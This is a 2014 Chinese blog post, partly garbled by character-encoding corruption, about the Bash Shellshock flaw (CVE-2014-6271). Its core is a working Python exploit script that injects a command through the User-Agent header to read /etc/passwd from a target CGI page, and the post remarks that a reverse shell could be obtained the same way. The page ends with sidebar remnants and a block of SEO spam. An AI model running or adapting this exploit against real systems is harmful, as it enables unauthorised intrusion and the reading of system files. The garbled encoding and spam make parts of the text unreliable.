qileilove

          blog已經(jīng)轉(zhuǎn)移至github,大家請(qǐng)?jiān)L問(wèn) http://qaseven.github.io/

          Bash遠(yuǎn)程命令執(zhí)行漏洞(CVE-2014-6271)分析利用

           這幾天Bash被爆存在遠(yuǎn)程命令執(zhí)行漏洞(CVE-2014-6271),昨天參加完isc,晚上回家測(cè)試了一下,寫(xiě)了個(gè)python版本的測(cè)試小基本,貼上代碼:
          #coding:utf-8
          import urllib,httplib
          import sys,re,urlparse
          #author:nx4dm1n
          #website:www.nxadmin.com
          def bash_exp(url):
          urlsp=urlparse.urlparse(url)
          hostname=urlsp.netloc
          urlpath=urlsp.path
          conn=httplib.HTTPConnection(hostname)
          headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}
          conn.request("GET",urlpath,headers=headers)
          res=conn.getresponse()
          res=res.getheaders()
          for passwdstr in res:
          print passwdstr[0]+':'+passwdstr[1]
          if __name__=='__main__':
          #帶http
          if len(sys.argv)<2:
          print "Usage: "+sys.argv[0]+"www.nxadmin.com/cgi-bin/index.cgi"
          sys.exit()
          else:
          bash_exp(sys.argv[1])
            腳本執(zhí)行效果如圖所示:
            bash命令執(zhí)行
            也可以用burp進(jìn)行測(cè)試。
            利用該漏洞其實(shí)可以做很多事情,寫(xiě)的python小腳本只是執(zhí)行了cat /etc/passwd。可以執(zhí)行反向鏈接的命令等,直接獲取一個(gè)shell還是有可能的。不過(guò)漏洞存在的條件也比較苛刻,測(cè)試找了一些,發(fā)現(xiàn)了很少幾個(gè)存在漏洞。

          posted on 2014-11-26 14:20 順其自然EVO 閱讀(535) 評(píng)論(0)  編輯  收藏 所屬分類(lèi): 測(cè)試學(xué)習(xí)專(zhuān)欄安全性測(cè)試

          <2014年11月>
          2627282930311
          2345678
          9101112131415
          16171819202122
          23242526272829
          30123456

          導(dǎo)航

          統(tǒng)計(jì)

          常用鏈接

          留言簿(55)

          隨筆分類(lèi)

          隨筆檔案

          文章分類(lèi)

          文章檔案

          搜索

          最新評(píng)論

          閱讀排行榜

          評(píng)論排行榜

          主站蜘蛛池模板: 平果县| 丹阳市| 桓仁| 界首市| 冕宁县| 即墨市| 平利县| 疏附县| 邵东县| 璧山县| 咸宁市| 荔浦县| 葵青区| 客服| 灵石县| 鲜城| 平安县| 静安区| 通榆县| 如东县| 高雄县| 禄丰县| 柳江县| 广灵县| 邵阳县| 平顺县| 开封县| 昭通市| 和林格尔县| 道真| 公安县| 曲水县| 黄浦区| 新丰县| 富蕴县| 怀仁县| 伊金霍洛旗| 浦江县| 广德县| 曲阜市| 汤阴县|